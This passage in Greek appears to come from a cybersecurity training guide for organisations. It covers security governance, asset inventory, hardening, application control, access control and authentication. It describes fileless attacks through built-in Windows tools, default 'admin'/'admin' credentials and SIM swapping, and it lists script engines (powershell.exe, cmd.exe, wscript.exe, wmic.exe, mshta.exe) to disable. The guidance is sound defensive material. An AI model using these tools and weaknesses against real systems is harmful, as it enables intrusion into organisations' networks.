υλοποίηση και εφαρμογή των επιλεγμένων μέτρων προστασίας. Η διαχείριση του κινδύνου αποτελεί πάντα το σημείο εκκίνησης για μία αποτελεσματική προσέγγιση στην κυβερνοασφάλεια. Έτσι, οι Οργανισμοί οφείλουν συνολικά να καθιερώσουν ένα σύστημα διαχείρισης ασφάλειας πληροφοριών (information security management system), το οποίο: - θα υλοποιείται με την εφαρμογή τεχνικών και οργανωτικών μέτρων ασφάλειας που θα βασίζονται στη διαχείριση του κινδύνου (risk based), - θα έχει την πλήρη οικονομική και οργανωτική υποστήριξη της διοικητικής ηγεσίας, - θα επιθεωρείται και θα ανανεώνεται σε τακτά χρονικά διαστήματα και- θα διαμορφώνει μία κουλτούρα κυβερνοασφάλειας σε όλους τους εμπλεκόμενους (ανώτερη Διοίκηση, σύνολο του προσωπικού, παρόχους και προμηθευτές). Προκειμένου ένα σύστημα διαχείρισης ασφάλειας πληροφοριών να υλοποιηθεί με αποτελεσματικότητα, θα πρέπει στο Φορέα να δημιουργηθεί μία κατάλληλη οργανωτική δομή με αρμοδιότητα την ασφάλεια των πληροφοριακών συστημάτων. Στην εν λόγω δομή θα πρέπει: - να οριστούν οι κατάλληλοι ρόλοι και αρμοδιότητες, - να είναι επαρκώς στελεχωμένη με πρόσωπα που κατέχουν τεχνητή και νομική εξειδίκευση στα θέματα της ασφάλειας του κυβερνοχώρου και - να διατεθούν οι απαιτούμενοι πόροι για την υλοποίηση των στόχων που έχουν τεθεί για την κυβερνοασφάλεια. Ορισμός υπεύθυνου ασφάλειας πληροφοριακών συστημάτων: Επίσης, οι Φορείς οφείλουν να ορίσουν πρόσωπο με τα κατάλληλα τεχνικά και οργανωτικά προσόντα με ρόλο υπεύθυνου ασφάλειας πληροφοριακών συστημάτων (Chief Information Security Officer, CISO). Ο CISO είναι τυπικά υπεύθυνος για την παροχή στρατηγικού επιπέδου οδηγιών για τα θέματα κυβερνοασφάλειας του Οργανισμού, την επίβλεψη και παρακολούθηση του συστήματος διαχείρισης ασφάλειας πληροφοριών και τη διασφάλιση της συμμόρφωσης του Φορέα με τις αντίστοιχες νομοθετικές και κανονιστικές ρυθμίσεις. Πρόκειται για ρόλο με αναγκαία ηγετικά χαρακτηριστικά και με ευθύνη να συντονίσει τους στόχους της κυβερνοασφάλειας με τους επιχειρησιακούς στόχους εντός του Οργανισμού.

Καταγραφή υλικού και λογισμικού Κίνδυνοι Όσο μεγαλύτερος σε μέγεθος είναι ένας Οργανισμός, τόσο απαιτητικότερη καθίσταται η συνολική διαχείριση του εξοπλισμού του (υλικού και λογισμικού), που μπορεί να βρίσκεται σε περισσότερα του ενός κτήρια καθώς και στο cloud, σε ένα σύγχρονο περιβάλλον που

μεταβάλλεται διαρκώς και πλέον περιλαμβάνει και κινητό εξοπλισμό (laptops, tablets, smartphones) και την πραγματικότητα της απομακρυσμένης εργασίας. Χωρίς ένα σύστημα που να καταγράφει σε τακτική βάση τον υλικό και λογισμικό τους εξοπλισμό, οι Οργανισμοί αντιμετωπίζουν διάφορα είδη απειλών: 1. Δεν μπορούν να ιχνηλατήσουν τους νομίμως εγκατεστημένους πόρους τους ούτε και να εντοπίσουν τυχόν μη εξουσιοδοτημένα αγαθά που έχουν εισαχθεί στο δίκτυό τους. 2. Οι επιτιθέμενοι σαρώνουν συνεχώς και με αυτοματοποιημένο τρόπο τον χώρο των IP διευθύνσεων Οργανισμών σε όλο το εύρος του Διαδικτύου, με την ελπίδα να εντοπίσουν μη προστατευμένα συστήματα που συνδέονται με το δίκτυο του Οργανισμού ή ευάλωτες εκδόσεις δικτυακών εφαρμογών που μπορούν να τις εκμεταλλευτούν εξ αποστάσεως. 3. Στο εσωτερικό δίκτυο, μπορεί να υπάρχουν μη καταγεγραμμένοι υπηρεσιακοί υπολογιστές με μη ασφαλείς ρυθμίσεις ή και ευάλωτες εκδόσεις client εφαρμογών, όπως π.χ. browsers, email ή εφαρμογές γραφείου, που διατρέχουν υψηλό κίνδυνο μόλυνσης με malware μέσω email ή από το διαδίκτυο. 4. Δεν γίνονται αντιληπτές συνδέσεις και αποσυνδέσεις κινητών συσκευών, όπως laptops, tablets, smartphones αλλά και ασύρματων σημείων πρόσβασης (wireless access points). 5. Σε περίπτωση περιστατικού κυβερνοεπίθεσης καθίσταται δύσκολη η ιχνηλάτηση της αρχικής προέλευσης της δικτυακής κίνησης καθώς και ο εντοπισμός όλων των ευάλωτων ή παραβιασμένων συσκευών. Μέτρα προστασίας Αναπτύξτε και καταγράψτε: - Πολιτική καταγραφής υλικού και λογισμικού, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. Τηρείτε σε ηλεκτρονικό αρχείο ακριβή και επικαιροποιημένο κατάλογο με τα αγαθά πληροφορικής (υλικό και λογισμικό) που τηρούνται στις φυσικές υποδομές του Οργανισμού, καθώς και τις εφαρμογές που φιλοξενούνται σε cloud περιβάλλοντα. Ο κατάλογος θα περιέχει λεπτομερή στοιχεία, όπως όνομα, ιδιοκτήτης, IP διεύθυνση (άμα είναι static), MAC διεύθυνση, έκδοση, περιγραφή λειτουργίας, τοποθεσία κ.λπ. Ορίστε έναν ιδιοκτήτη (owner) σε κάθε αγαθό που τηρείται στον κατάλογο, με σκοπό να υπάρχει ευθύνη και λογοδοσία καθ' όλη τη διάρκεια του κύκλου ζωής του αγαθού. Ταξινομήστε τα αγαθά του καταλόγου σε διακριτές ομάδες (groups) ανάλογα με την κρισιμότητα και ευαισθησία τους για τις λειτουργίες του Οργανισμού.

Αναπτύξτε και καταγράψτε πολιτική και διαδικασίες για τη χρήση των φορητών μέσων αποθήκευσης (USB, εξωτερικοί σκληροί δίσκοι, CD, DVD), που θα ανταποκρίνεται στις απαιτήσεις ασφάλειας των συστημάτων και δεδομένων του Οργανισμού και θα καλύπτει: - Τις επιτρεπόμενες χρήσεις και τύπους των φορητών μέσων. – Τις απαιτήσεις προστασίας των φορητών μέσων και του περιεχομένου τους. - Τις απαιτήσεις για την αναφορά απώλειας ή κλεμμένου φορητού μέσου. - Τις απαιτήσεις απομάκρυνσης ή καταστροφής φορητών μέσων. Διασφαλίστε ότι οι ιδιόκτητες κινητές συσκευές (laptops, tablets, smartphones) που οι εργαζόμενοι φέρουν στο χώρο εργασίας (“bring your own device”) δεν έχουν δυνατότητα πρόσβασης σε κρίσιμα ή ευαίσθητα συστήματα του Οργανισμού. Ανά τακτά διαστήματα, προβείτε σε σάρωση (scanning) του δικτύου του Οργανισμού για να εντοπίσετε συσκευές που έχουν συνδεθεί και επικαιροποιήστε ανάλογα τον κατάλογο. Χρησιμοποιείστε αυτοματοποιημένο εργαλείο που σαρώνει συνεχώς τα αρχεία καταγραφής (log files) των δικτυακών συσκευών για να εντοπίσετε συσκευές που έχουν συνδεθεί, μαζί με τα χαρακτηριστικά τους, και επικαιροποιήστε ανάλογα τον κατάλογο. Ασφαλής διαμόρφωση εξοπλισμού και εφαρμογών Κίνδυνοι Στη μεγάλη πλειοψηφία των περιπτώσεων, τα λειτουργικά συστήματα και οι εφαρμογές παρέχονται από τους κατασκευαστές τους με προεπιλεγμένα γνωρίσματα και ρυθμίσεις που απέχουν αρκετά από το να χαρακτηριστούν ασφαλή. Ενδεικτικά, παρατηρούνται προεπιλεγμένα ζεύγη username / password (π.χ. ‘admin’ / ‘admin’), περιττά προνόμια σε λογαριασμούς χρηστών, πρωτόκολλα παλαιότερων εκδόσεων (και άρα ευάλωτα), προεγκατεστημένο λογισμικό που δεν εξυπηρετεί ανάγκες του Οργανισμού κ.α.. Επιπλέον, σε αρκετές περιπτώσεις παρατηρείται αποτυχία στον προγραμματισμό και έγκαιρη λήψη ενημερώσεων και επιδιορθώσεων λογισμικού (patch management), με αποτέλεσμα ο Οργανισμός να χρησιμοποιεί εφαρμογές που περιέχουν γνωστές ευπάθειες για μεγάλο χρονικό διάστημα. Όλα τα παραπάνω οδηγούν σε μία σειρά από κινδύνους: - Εκμετάλλευση ευπαθειών στο λογισμικό: ο επιτιθέμενος, εκτελώντας κατάλληλο κώδικα (exploit), μπορεί να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε συστήματα και πληροφορίες του Φορέα. - Εκμετάλλευση μη ασφαλούς διαμόρφωσης συστήματος: ο επιτιθέμενος μπορεί να αποκτήσει τον έλεγχο λογαριασμού που έχει περιττά προνόμια και άρα πρόσβαση σε δεδομένα και λειτουργικότητα που δεν απαιτούνται για το ρόλο του.

- Μη εξουσιοδοτημένες αλλαγές: κάποιες ρυθμίσεις που προστατεύουν συστήματα και εφαρμογές μπορεί να μεταβληθούν σκόπιμα από μη εξουσιοδοτημένα άτομα, με συνέπεια την έκθεση συστημάτων και πληροφοριών σε κίνδυνο. Μέτρα προστασίας Αναπτύξτε και καταγράψτε: - Πολιτική ασφαλούς διαμόρφωσης εξοπλισμού πληροφορικής και εφαρμογών, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. - Αποσύρετε εξοπλισμό, λειτουργικά συστήματα και εφαρμογές για τα οποία έχει σταματήσει η υποστήριξη από τον κατασκευαστή ή πάροχο. - Διασφαλίστε ότι τα προεπιλεγμένα συνθηματικά (default passwords) σε κάθε νέο προϊόν τροποποιούνται κατά την πρώτη εγκατάσταση του προϊόντος. - Εφαρμόστε βασικές ρυθμίσεις ασφάλειας με βάση διεθνώς αποδεκτά πρότυπα και οδηγίες για τα λειτουργικά συστήματα των σταθμών εργασίας, των servers και των δικτυακών συσκευών, προσαρμοσμένες στην πολιτική ασφάλειας του Οργανισμού. Οι εν λόγω ρυθμίσεις θα πρέπει να αποθηκεύονται σε αρχείο. - Χρησιμοποιείτε μόνο υποστηριζόμενες εκδόσεις των λειτουργικών συστημάτων στους σταθμούς εργασίας, στους servers και στις δικτυακές συσκευές. Ρυθμίστε για όλα τα παραπάνω να λαμβάνουν ενημερώσεις με αυτοματοποιημένο τρόπο. - Χρησιμοποιείτε μόνο τις τελευταίες και ενημερωμένες εκδόσεις για σημαντικές επιχειρησιακές εφαρμογές, όπως είναι λογισμικό γραφείου, αναγνώστες pdf, web browsers και browser plugins, καθώς και email clients. - Χρησιμοποιείτε μόνο τις τελευταίες και ενημερωμένες εκδόσεις για κάθε server εφαρμογή του Οργανισμού που είναι προσβάσιμη από το Internet. - Εφαρμόστε εργαλεία που με αυτοματοποιημένο τρόπο εγκαθιστούν ενημερώσεις και επιδιορθώσεις (patches) στα λειτουργικά συστήματα και στις εφαρμογές του Οργανισμού. - Υλοποιείστε firewall ως εφαρμογή σε κάθε σταθμό εργασίας και server (host-based), το οποίο να εμποδίζει κάθε δικτυακή σύνδεση από και προς τη συσκευή με εξαίρεση τις θύρες και υπηρεσίες που απαιτούνται με βάση τις επιχειρησιακές ανάγκες. Στις δικτυακές συσκευές προβείτε στις παρακάτω ρυθμίσεις: 1.

Απενεργοποιήστε κάθε περιττή υπηρεσία (service).

2.

Ενεργοποιήστε τη λειτουργία “port security” στα switches.

3.

Απενεργοποιήστε τα interfaces και τα πρωτόκολλα δρομολόγησης (στους routers),

καθώς και τις θύρες (στα switches), που δεν χρησιμοποιούνται.

4.

Εφαρμόστε αυθεντικοποίηση δύο παραγόντων (2-factor authentication) για την

πρόσβαση στο διαχειριστικό περιβάλλον όλων των κρίσιμων δικτυακών συσκευών. Απενεργοποιείστε τους λογαριασμούς που δεν σχετίζονται πλέον με κάποιον χρήστη ή όταν δεν υφίσταται άλλο η υπηρεσιακή ανάγκη χρήσης τους. Εφαρμόστε εργαλεία που με αυτοματοποιημένο τρόπο εγκαθιστούν και επικαιροποιούν τις ρυθμίσεις ασφάλειας σε προκαθορισμένο χρόνο (system configuration and change management tools). Ρυθμίστε, σε όσα συστήματα έχουν ταξινομηθεί ως κρίσιμα, να μην είναι εφικτή η σύνδεση φορητών μέσων αποθήκευσης (USB, εξωτερικών σκληρών δίσκων, CD, DVD), εάν δεν υπάρχει γι’ αυτό αυστηρή επιχειρησιακή ανάγκη. Διαχειριστείτε με ασφάλεια τους λογαριασμούς υπηρεσιών (service accounts), κατά προτίμηση με αυτοματοποιημένο τρόπο: - Εκχωρείστε τα ελάχιστα απαιτούμενα δικαιώματα πρόσβασης - Αλλάζετε τα συνθηματικά σε τακτά χρονικά διαστήματα. - Απενεργοποιείστε τους λογαριασμούς υπηρεσιών που δεν χρειάζονται πλέον για τις επιχειρησιακές λειτουργίες του Φορέα. - Να τηρείτε offline πλήρη αντίγραφα ασφαλείας (system images) των λειτουργικών συστημάτων του Οργανισμού με τις βασικές ρυθμίσεις ασφάλειας, σε κρυπτογραφημένη μορφή, με περιορισμούς στην πρόσβαση και με έλεγχο ακεραιότητας των αρχείων (file integrity monitoring).

Στο σχήμα απεικονίζεται μία από τις δεκάδες πηγές στο διαδίκτυο όπου είναι δημοσίως διαθέσιμα τα προεπιλεγμένα ζεύγη username και password για τους routers όλων των κατασκευαστών και μάλιστα για όλα τα μοντέλα κάθε κατασκευαστή. Το γεγονός αυτό κάνει εύλογα αντιληπτό τον κίνδυνο που αντιμετωπίζει κάθε Οργανισμός εφόσον δεν τροποποιήσει

τα προεπιλεγμένα credentials με την πρώτη εγκατάσταση κάθε router και γενικότερα κάθε αντίστοιχου προϊόντος που περιέχει αντίστοιχα προεπιλεγμένα ζεύγη. Περιορισμός χρήσης και εκτέλεσης προγραμμάτων/υπηρεσιών Κίνδυνοι Όσο περισσότερες είναι οι εφαρμογές που εκτελούνται σε ένα σύστημα, τόσο αυξάνεται και η λεγόμενη «επιφάνεια επίθεσης» (“attack surface”) του συστήματος, δηλαδή το σύνολο: Tων διαφορετικών σημείων εισόδου που είναι εκτεθειμένα σε έναν επιτιθέμενο για να αποκτήσει πρόσβαση στο σύστημα- Tων δεδομένων που χρησιμοποιεί μία εφαρμογή (κωδικοί, προσωπικά δεδομένα, εταιρικά δεδομένα κ.α.) που μπορούν να εξαχθούν από το σύστημα. Η αύξηση της επιφάνειας επίθεσης ενέχει κάποιους σοβαρούς κινδύνους: - Οι επιτιθέμενοι σκανάρουν συνεχώς τα δίκτυα Οργανισμών για ανοικτές θύρες και για δικτυακές υπηρεσίες που εκτελούνται πάνω στις εν λόγω θύρες (π.χ. web servers, mail servers, SMB servers κ.α.), με σκοπό την αναζήτηση ευάλωτων εκδόσεων υπηρεσιών. Κατόπιν, μέσω της εκτέλεσης κατάλληλου κώδικα (exploit) εκμεταλλεύονται τις ευπάθειες και δύνανται να αποκτήσουν πρόσβαση στο σύστημα. Σε αρκετές περιπτώσεις η παραβίαση λαμβάνει χώρα εξ αιτίας ευάλωτων εφαρμογών που είχαν εγκατασταθεί χωρίς να απαιτείται επιχειρησιακή ανάγκη γι’ αυτό. - Τα τελευταία χρόνια, λόγω της βελτίωσης των μέτρων ανίχνευσης και αποκλεισμού του κακόβουλου λογισμικού, οι επιτιθέμενοι χρησιμοποιούν μία νέα και πιο εξελιγμένη τεχνητή, τις λεγόμενες fileless attacks. Ο όρος προέρχεται από το γεγονός ότι ο κακόβουλος κώδικας εκτελείται απευθείας στη μνήμη και δεν συνοδεύεται από αποθήκευση εκτελέσιμου αρχείου στο σκληρό δίσκο, με αποτέλεσμα το antivirus στις περισσότερες περιπτώσεις να μην ανιχνεύει την επίθεση. Στη μεγάλη τους πλειοψηφία, οι επιθέσεις αυτές ξεκινούν με ένα phishing email που επιδιώκει να πείσει το χρήστη να ανοίξει το συνημμένο αρχείο ή το link που περιέχεται σε αυτό. Μόλις τούτο συμβεί, εκτελείται στη μνήμη script κώδικας από προεγκατεστημένα και white-listed εργαλεία των Windows, όπως είναι το PowerShell, το Windows Management Instrumentation (WMI) κ.α., υλοποιώντας τους σκοπούς του επιτιθέμενου χωρίς να γίνεται αντιληπτός. Μέτρα Προστασίας Αναπτύξτε και καταγράψτε: - Πολιτική εγκατάστασης, χρήσης και εκτέλεσης λογισμικού, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας.

- Διασφαλίστε ότι στους servers και στους σταθμούς εργασίας λειτουργούν μόνο οι θύρες (ports), τα πρωτόκολλα και οι δικτυακές υπηρεσίες που είναι απαραίτητες για τη διεκπεραίωση

των

επιχειρησιακών

λειτουργιών

του

Οργανισμού.

- Διενεργήστε σε τακτική βάση αυτοματοποιημένο port scanning στο σύνολο του δικτύου του Οργανισμού με σκοπό την ανίχνευση μη εξουσιοδοτημένων ανοικτών δικτυακών θυρών και υπηρεσιών σε συστήματα. - Διασφαλίστε ότι οι χρήστες με standard δικαιώματα (non-privileged) δεν μπορούν να απενεργοποιήσουν ή να τροποποιήσουν τις ρυθμίσεις ασφάλειας στο λειτουργικό τους σύστημα. - Διασφαλίστε ότι αν υπάρξει επιχειρησιακή ανάγκη σε χρήστες με standard δικαιώματα (non-privileged) να εγκαταστήσουν λογισμικό, αυτό μπορεί να συμβεί μόνο με εγκεκριμένες εφαρμογές που αποθηκεύονται σε αποθετήρια λογισμικού που ελέγχονται από τον Οργανισμό. - Δημιουργήστε κατάλογο με μη εξουσιοδοτημένες εφαρμογές και κατηγορίες εκτελέσιμων αρχείων και διασφαλίστε ότι θα απαγορεύεται η εκτέλεσή τους στους servers και στους σταθμούς εργασίας του Οργανισμού (application blacklisting). Ρυθμίστε με προσοχή τη χρήση του πρωτοκόλλου SMB (Server Message Block): - Μπλοκάρετε, στο firewall της εξωτερικής περιμέτρου του δικτύου, την εισερχόμενη από και εξερχόμενη προς το Internet επικοινωνία στις παρακάτω θύρες: TCP 445 (SMB), UDP 137 (NetBIOS Name Resolution), UDP 138 (NetBIOS Datagram Service) και TCP 139 (NetBIOS Session Service). - Μπλοκάρετε τις εισερχόμενες SMB συνδέσεις στην TCP θύρα 445 σε όσους σταθμούς εργασίας και servers δεν φιλοξενούν κοινόχρηστο περιεχόμενο (shares). Απενεργοποιήστε τις εκδόσεις SMBv1 και v2 στο εσωτερικό δίκτυο και αναβαθμίστε στην έκδοση v3 ή στην πλέον πρόσφατη. Διασφαλίστε ότι η πολιτική εκτέλεσης λογισμικού στο λειτουργικό σύστημα επιβάλλει την εκτέλεση μόνο ψηφιακά υπογεγραμμένων scripts, εκτελέσιμων αρχείων, οδηγών συσκευών και υλικολογισμικού (firmware). Τηρείστε κατάλογο έμπιστων πιστοποιητικών, ώστε να ανιχνευθεί και εμποδιστεί η εκτέλεση κακόβουλου κώδικα. - Διασφαλίστε ότι σε περιβάλλον Microsoft Windows και σε λογαριασμούς χρηστών με standard δικαιώματα (non-privileged) οι παρακάτω μηχανές εκτέλεσης script κώδικα είναι απενεργοποιημένες: PowerShell (powershell.exe), Command Prompt (cmd.exe), Windows Script Host (cscript.exe και wscript.exe), Windows Management Instrumentation (wmic.exe) και

Microsoft

HTML

Application

Host

(mshta.exe).

- Δημιουργήστε κατάλογο με εξουσιοδοτημένες εφαρμογές και συστατικά τους (βιβλιοθήκες, αρχεία διαμόρφωσης κ.α.) και διασφαλίστε ότι μόνο αυτές θα επιτρέπεται να εκτελούνται στους servers και στους σταθμούς εργασίας του Οργανισμού (application whitelisting).

Έλεγχος πρόσβασης Οι λανθασμένοι χειρισμοί στη χορήγηση προνομίων και δικαιωμάτων πρόσβασης σε χρήστες και σε διεργασίες που εκτελούνται για λογαριασμό τους προσφέρουν στους επιτιθέμενους τις περισσότερες δυνατότητες για εξάπλωση στο δίκτυο ενός Οργανισμού. Ενδεικτικά: - Εάν ένας χρήστης έχει τοπικά δικαιώματα διαχειριστή στον υπολογιστή του και ο τελευταίος μολυνθεί με κακόβουλο λογισμικό, π.χ. επειδή ο χρήστης άνοιξε ένα συνημμένο σε email αρχείο, τότε το κακόβουλο αρχείο θα εκτελεστεί με αυτά τα δικαιώματα. Στην περίπτωση αυτή ο επιτιθέμενος μπορεί να αποκτήσει τον πλήρη έλεγχο του υπολογιστή και να τον χρησιμοποιήσει για να εξαπλωθεί σε άλλα συστήματα εντός του δικτύου. - Όταν κάποιος χρήστης έχει δικαιώματα πρόσβασης που δεν είναι αναγκαία με βάση το ρόλο του, π.χ. ενώ εργάζεται στην οικονομική υπηρεσία έχει ταυτόχρονα πρόσβαση και σε συστήματα άλλων τομέων, τότε εάν ο λογαριασμός του παραβιαστεί τίθενται σε κίνδυνο πληθώρα συστημάτων μέσα στον Οργανισμό. Σε κάθε περίπτωση, ο περιορισμός στη χορήγηση αυξημένων προνομίων και η ανάθεση δικαιωμάτων πρόσβασης με βάση ρόλους αποτελούν μέτρα κομβικής σημασίας για τον περιορισμό της απειλής σε περίπτωση κυβερνοεπίθεσης. Αναπτύξτε και καταγράψτε: - Πολιτική ελέγχου πρόσβασης, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. - Διασφαλίστε ότι το προσωπικό του Οργανισμού και οι εξωτερικοί συνεργάτες που αποκτούν λογαριασμό χρήστη θα πρέπει να αναγνωρίζονται (identified) με μοναδικό τρόπο, με σκοπό τη διασφάλιση λογοδοσίας (accountability). - Δημιουργήστε κατάλογο (inventory) με όλους τους λογαριασμούς χρηστών, ο οποίος θα περιέχει κατ’ ελάχιστον το ονοματεπώνυμο, την ημερομηνία έναρξης / λήξης, τα προνόμια και την Υπηρεσία εργασίας του υπαλλήλου. - Διασφαλίστε ότι στους χρήστες που εκτελούν αποκλειστικά μη διαχειριστικές εργασίες καθημερινής ρουτίνας (π.χ. χρήση προγραμμάτων word, excel, adobe reader, ανάγνωση και αποστολή e-mail, περιήγηση στο Internet κ.λπ.) χορηγείται αποκλειστικά standard λογαριασμός απλού χρήστη (non-privileged account). - Διασφαλίστε ότι στους χρήστες που λόγω καθηκόντων έχουν λογαριασμό αυξημένων προνομίων (privileged account) θα χορηγείται δεύτερος standard λογαριασμός απλού χρήστη (non-privileged account) για την εκτέλεση μη διαχειριστικών εργασιών καθημερινής ρουτίνας (π.χ. χρήση προγραμμάτων word, excel, adobe reader,ανάγνωση και αποστολή e-mail, περιήγηση στο Internet κ.λπ.).

- Εκχωρήστε δικαιώματα πρόσβασης με βάση διακριτούς ρόλους, έτσι ώστε οι χρήστες να έχουν πρόσβαση αποκλειστικά και μόνο στο είδος της πληροφορίας που είναι απαραίτητη για την εκτέλεση των εργασιακών καθηκόντων τους. Σε κάθε ρόλο θα πρέπει να εκχωρούνται τα ελάχιστα απαιτούμενα προνόμια. - Υλοποιείστε κεντρική διαχείριση λογαριασμών μέσω υπηρεσίας καταλόγου (directory service). - Εφαρμόστε την τεχνητή της «διπλής εξουσιοδότησης» (“dual authorization”), έτσι ώστε να απαιτείται η έγκριση δύο εξουσιοδοτημένων χρηστών για την εκτέλεση ιδιαίτερα κρίσιμων και ευαίσθητων εντολών ή λειτουργιών.

Στο σχήμα απεικονίζεται παραστατικά η ζημιά που μπορεί να προκληθεί σε ένα δίκτυο όταν χρήστες που εκτελούν μόνο εργασίες ρουτίνας διαθέτουν δικαιώματα τοπικού διαχειριστή στον υπολογιστή τους. Το malware που εγκαθίσταται στον υπολογιστή εκτελείται με αυτά τα δικαιώματα και για το λόγο αυτό αποκτά τον πλήρη έλεγχό του. Μπορεί π.χ., μεταξύ άλλων, να δημιουργήσει νέους admin λογαριασμούς, να τροποποιήσει την registry, να εγκαταστήσει άλλα εργαλεία ή και να σβήσει εγγραφές από τα logs προκειμένου να κρύψει την παρουσία του. Στη συνέχεια, αφού συλλέξει πληροφορίες για το εσωτερικό δίκτυο του Οργανισμού, μετακινείται και μολύνει άλλα συστήματα αποσπώντας ευαίσθητα δεδομένα, ενώ σαν τελικό του στόχο κρυπτογραφεί όλα τα αρχεία απαιτώντας λύτρα (ransomware). Αυθεντικοποίηση χρηστών Τα συστήματα αυθεντικοποίησης αποτελούν πρωταρχικό στόχο για κάθε επιτιθέμενο, καθώς η παραβίασή τους έχει ως αποτέλεσμα την κλοπή ταυτότητας και την απόκτηση μη

εξουσιοδοτημένης πρόσβασης σε πολύτιμους πόρους του Οργανισμού. Υπάρχουν διάφοροι τρόποι για να αποκτήσει κάποιος τα διαπιστευτήρια (credentials) σε λογαριασμό χρήστη: - Aδύναμοι κωδικοί πρόσβασης. Η μεγάλη πλειοψηφία των χρηστών χρησιμοποιεί ευκολομνημόνευτες λέξεις για συνθηματικά (passwords), που μπορούν εύκολα να ανακτηθούν με λεξικογραφική επίθεση (dictionary attack). - Μη ασφαλής αποθήκευση των κωδικών από μέρους του χρήστη. - Υλοποίηση αδύναμων κρυπτογραφικών τεχνικών για την αποθήκευση των κωδικών στα συστήματα. - Κλοπή συνθηματικού από προσωπικό λογαριασμό χρήστη, που όμως χρησιμοποιεί το ίδιο συνθηματικό σε υπηρεσιακό λογαριασμό. - Εξαπάτηση του χρήστη μέσω κοινωνικής μηχανικής (social engineering) στο να αποκαλύψει ο ίδιος τους κωδικούς πρόσβασής του, π.χ. σε ψεύτικη online φόρμα στην οποία ανακατευθύνεται ο χρήστης από σύνδεσμο που έχει αποσταλεί σε phishing email. - Χρήση κακόβουλου λογισμικού (malware) που ανακτά κωδικούς πρόσβασης από τη μνήμη του υπολογιστή ή από το δίκτυο. Μέτρα Προστασίας 1. Αναπτύξτε και καταγράψτε: - Πολιτική αυθεντικοποίησης χρηστών, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. 2. Χρησιμοποιείστε αποκλειστικά ισχυρούς κωδικούς πρόσβασης. Οι κωδικοί πρόσβασης θα πρέπει να έχουν μήκος τουλάχιστον δώδεκα χαρακτήρων, να περιέχουν σωρευτικά τουλάχιστον ένα κεφαλαίο γράμμα, ένα μικρό γράμμα, έναν αριθμό και έναν ειδικό χαρακτήρα και να μην περιέχουν ονόματα ή κοινές λέξεις που υπάρχουν σε λεξικά. Οι κωδικοί πρόσβασης θα πρέπει να αλλάζουν κάθε έξι μήνες. 3. Να ορίσετε μέγιστο όριο πέντε συνεχόμενων ανεπιτυχών προσπαθειών για είσοδο (log in) σε λογαριασμό, πέραν των οποίων ο λογαριασμός θα κλειδώσει για ένα προκαθορισμένο χρονικό διάστημα. 4. Οι κωδικοί πρόσβασης πρέπει να αποθηκεύονται σε κρυπτογραφημένη μορφή. Η κρυπτογράφηση γίνεται με τη χρήση one-way hash αλγορίθμων με την επιπλέον προσθήκη στον υπολογισμό μίας ακολουθίας τυχαίων δεδομένων (salt). 5. Η μετάδοση κωδικών πρόσβασης μέσω δικτύου πρέπει να γίνεται αποκλειστικά με χρήση κρυπτογραφίας. 1. Εφαρμόστε αυθεντικοποίηση δύο παραγόντων (2-factor authentication) για την πρόσβαση σε λογαριασμούς χρηστών με αυξημένα προνόμια (privileged accounts).

2. Εφαρμόστε αυθεντικοποίηση δύο παραγόντων (2-factor authentication) για την απομακρυσμένη πρόσβαση κάθε χρήστη στο εσωτερικό δίκτυο του Οργανισμού (remote access). 3. Ρυθμίστε στους σταθμούς εργασίας να ενεργοποιείται κλείδωμα της οθόνης μετά από μέγιστο χρονικό διάστημα 15 λεπτών αδράνειας του χρήστη, με σκοπό την αποφυγή μη εξουσιοδοτημένης πρόσβασης. Προκειμένου να ξεκλειδωθεί η οθόνη, θα απαιτείται η εκ νέου αυθεντικοποίηση του χρήστη. 4. Εφαρμόστε αυθεντικοποίηση δύο παραγόντων (2-factor authentication) για κάθε χρήστη που επιθυμεί πρόσβαση σε κρίσιμα ή ευαίσθητα δεδομένα. 5. Χρησιμοποιείστε υποδομή δημοσίου κλειδιού για τη διενέργεια αυθεντικοποίησης χρηστών με τη χρήση ψηφιακού πιστοποιητικού. Η χρήση αυθεντικοποίησης δύο παραγόντων αναμφίβολα βελτιώνει την ασφάλεια, καθώς προσθέτει μία επιπλέον παράμετρο, μαζί με τον κωδικό πρόσβασης, κατά την επαλήθευση της ταυτότητας ενός χρήστη. Όμως, η αποστολή text μέσω SMS είναι πλέον ευπαθής σε διάφορα είδη επιθέσεων, με πιο γνωστή τη μέθοδο SIM swapping. Γνωστά παραδείγματα τέτοιων εφαρμογών αποτελούν το Google Authenticator, LastPass, Authy κ.α.

Μακράν πιο ασφαλής είναι η χρήση mobile εφαρμογής που δημιουργεί one-time passwords στη συσκευή του χρήστη, χωρίς δηλαδή ο κωδικός να μεταδίδεται μέσω δικτύου και με ό,τι κινδύνους αυτό συνεπάγεται.

Εκπαιδευτική Υποενότητα 7.2 Ασφάλεια Δικτύων Προστασία δικτύου από εσωτερικές και εξωτερικές απειλές Η προστασία του δικτύου, τόσο από εξωτερικές όσο και από εσωτερικές απειλές, αποτελεί θεμελιώδη προτεραιότητα για κάθε Οργανισμό. Αδυναμία εφαρμογής αποτελεσματικής αρχιτεκτονικής και υλοποίησης των κατάλληλων μέτρων ασφάλειας θέτει τα συστήματα των Φορέων σε διάφορους κινδύνους: Μόλυνση με κακόβουλο λογισμικό: η μόλυνση μπορεί να οδηγήσει σε παραβίαση κρίσιμων συστημάτων του Οργανισμού και στην αλλοίωση ή / και κλοπή ευαίσθητων δεδομένων. Ειδικά στην περίπτωση του ransomware, εάν δε ληφθούν τα κατάλληλα μέτρα προστασίας, μπορεί να οδηγήσει σε κρυπτογράφηση αρχείων σε όλο το δίκτυο του Φορέα. - Επιθέσεις ενδιάμεσου (man-in-the-middle): εάν τα πρωτόκολλα επικοινωνίας δεν είναι επαρκώς προστατευμένα, ο επιτιθέμενος μπορεί να παρακολουθήσει τη δικτυακή κίνηση και να υποκλέψει επιχειρησιακά δεδομένα και κωδικούς πρόσβασης που 